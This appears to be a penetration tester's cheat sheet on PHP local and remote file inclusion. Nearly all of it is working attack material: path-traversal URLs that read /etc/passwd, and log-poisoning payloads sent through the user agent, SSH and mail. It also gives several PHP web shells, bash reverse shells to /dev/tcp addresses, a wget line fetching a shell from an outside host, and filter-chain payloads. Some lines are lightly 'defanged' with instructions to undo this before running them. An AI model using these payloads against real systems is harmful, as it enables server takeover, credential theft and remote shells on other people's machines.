File Inclusion (LFI/RFI) & Wrappers

FTP LFI RCE

Keep in mind you can reach FTP location through LFI, so if you have access to FTP you can get a shell that way

01/var/log/vsftpd.log

You can also try to poison the logs through malicous username requests

HTTP and LFI poisoning

You can poison the log file with malicous php code in user agent like so:

01curl <http://10.10.129.12> -A '<?php echo shell_exec($_REQUEST['0']);?>'
02 
03<http://10.10.129.12/?view=dog../../../../../../../../../../../../../var/log/apache2/access.log&ext=&0=id>

This technique also works: rlwrap nc -nv 10.10.129.12 80

01<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

LFI locations

https://pentesting.one2bla.me/enumeration/web-enumeration/lfi-rfi LFI: /etc/apache2/.htpasswd /etc/apache2/htpasswd

LFI phpinfo() Race Condition RCE

https://youtu.be/rs4zEwONzzk?t=825

https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-phpinfo

LFI_RFi

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the brackets p_h_p or c_m_d before executing them.

https://gabb4r.gitbook.io/oscp-notes/web-http/lfi-and-rfi/php-wrappers

Basic LFI

Note:

Basic examples: (try with various levels of url encoding) https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=/../../../../../../etc/passwd https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=/../../../../../../etc/passwd%00 https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=/....//....//....//....//....//etc/passwd

https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=../../../../../../etc/passwd https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=../../../../../../etc/passwd%00 https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=....//....//....//....//....//etc/passwd https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=....//....//....//....//....//etc/passwd%00

File wrappers: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///../../../../../../../../etc/passwd

LFI fuzzing: ffuf -c -u 'https://172.31.3.1/forum.chatlogs/chatlogs.p_h_p?file=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -ignore-body wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c --hw 183 -u 'http://10.10.122.51/lab5.p_h_p?file=FUZZ' wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -c --hw 183 -u 'http://10.10.122.51/lab5.p_h_p?file=FUZZ'

LFI Fuzzing through authenticated request: ffuf -c -u 'http://192.168.1.136/sea.p_h_p?file=../../../../../../FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b 'PHPSESSID=russhgsf2b2asdt3rm4jr4o50l' -fl 21

LFI to RCE example

source: https://www.exploit-db.com/papers/12886

if you can reach environ, this will likely work www.website.com/view.p_hp?page=/../../../../../proc/self/environ

user agent:

<?system('wget <http://hack-bay.com/Shells/gny.txt> -O shell.p_h_p');?>

==

also something cool you can do in /var/mail/ somewhere where its an LFI with SMTP its possible to get a reverse shell with comboing these two somehow. ippsec.rocks explained it once. keep in mind

random other lfi to rce: https://www.techsec.me/2020/09/local-file-inclusion-to-rce.html (/proc/self/fd)

RFI to RCE

https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/ https://notchxor.github.io/oscp-notes/2-web/LFI-RFI/

This will give you a webshell: shell.p_h_p

<?=`$_GET[c_m_d]`?>

or

<?=`$_REQUEST[c_m_d]`?>

or

<?p_h_p system($_REQUEST['c_m_d']); ?>

http://example.com/x.p_h_p?0=echo '<?p_h_p sh_ell_ex_ec($_REQUEST["0"]);?>' > /var/www/htdocs/nutilabor/ind3x.p_h_p

http://10.10.10.151/blog/?lang=//10.10.14.23/Public/shell.p_h_p&cmd=dir

===================

php payload examples: (test several, as certain functions might be blacklisted) https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#p_h_p If the exec or system functions in php is blacklisted, this might be able to work:

rev.p_h_p

Note:

🐺 howlsec@kalicode

copy

01<?[p_h_p]
02> // Executes, returns the entire output as a string
03> echo [shell]_[exec]("bash -c 'exec bash -i &>/dev/tcp/192.168.119.220/443 <&1'");
04> ?>

Sometimes & works better than ?, interesting enough.

Note:

🐺 howlsec@kalicode

copy

01<?p_h_p echo //DEFANGED shell_exec($REQUEST["c_m_d"]); exit; ?>     

SMTP + RFI = RCE

Upload a php cmd paramater through SMTP, and if we can access it through LFI we'll get command injection

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=ping -c4 192.168.1.42

tcpdump -i tun0 icmp

SSH and LFI log poisoning

https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the brackets [] or _ before executing them.

Fuzzing application for LFI vulnerability testing

ffuf -c -u 'hxxp[://]192[.]168[.]1[.]136/sea[.]p_h_p?file=../../../../../../FUZZ' \ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix[.]txt \ -b 'PHPSESSID=russhgsf2b2asdt3rm4jr4o50l' \ -fl 21

Vulnerable endpoint identified

hxxp[://]192[.]168[.]1[.]136/sea[.]p_h_p?file=../../../../../var/log/auth

Log poisoning technique (SSH auth log injection)

ssh 'DEFANGED_PAYLOAD_REMOVED'@192[.]168[.]1[.]136

Original payload:

hxxp[://]192[.]168[.]1[.]136/sea[.]p_h_p?file=../../../../../var/log/auth&cmd=id

Filter Chain - LFI2RCE

wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py

python3 php_filter_chain_generator.py --chain '<?php shell_exec($_REQUEST['0']);?>'

python3 php_filter_chain_generator.py --chain '<?php system($_GET['0']);?>'

python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

python3 php_filter_chain_generator.py --chain '<?php echo shell_exec($_REQUEST['0']);?>'

Wrappers

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the p_h_p before executing them.

Base64 encode LFI (Gets around filters sometimes)

Note:

🐺 howlsec@kalicode

copy

01http://10.10.99.193/lab1.p_h_p?file=p_h_p://filter/convert.base64-encode/resource=welcome.p_h_p
02http://10.10.99.193/lab1.p_h_p?file=p_h_p://filter/convert.base64-encode/resource=welcome.p_h_p%00

POC print text:

01http://10.10.99.193/lab1.p_h_p?file=data:text/plain,helloss

Command Injection: 10.10.99.193/lab1.p_h_p?file=data:text/plain,<?p_h_p echo s_hell_exec('dir')?>

Web shell: 10.10.99.193/lab1.p_h_p?file=data:text/plain,<?p_h_p system($_REQUEST['cmd']); ?>&cmd=id 10.10.99.193/lab1.p_h_p?file=data:text/plain,<?p_h_p echo shell_exec($_REQUEST['cmd']); ?>&cmd=id

From here, use the bash reverse shell script after cmd= (Make sure to catch the request in burp, and URL DECODE ONLY THE PAYLOAD AFTER CMD= FULLT, and then URL ENCODE AGAIN only once. If not, it will likely not work.)

Note:

🐺 howlsec@kalicode

copy

01GET /lab1.p_h_p?file=data:text/plain,%3C?p_h_p%20echo%20shell_exec($_REQUEST[%27cmd%27]);%20?%3E&cmd=bash+-c+'exec+bash+-i+%26>/dev/tcp/10.13.4.2/443+<%261'

This is Superior:

wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py

python3 php_filter_chain_generator.py --chain '<?p_h_p shell_exec($_REQUEST['0']);?>'

python3 php_filter_chain_generator.py --chain '<?p_h_p system($_REQUEST['0']);?>'

python3 php_filter_chain_generator.py --chain '<?p_h_p echo shell_exec($_GET['0']);?>'

python3 php_filter_chain_generator.py --chain '<?p_h_p echo shell_exec($_REQUEST['0']);?>'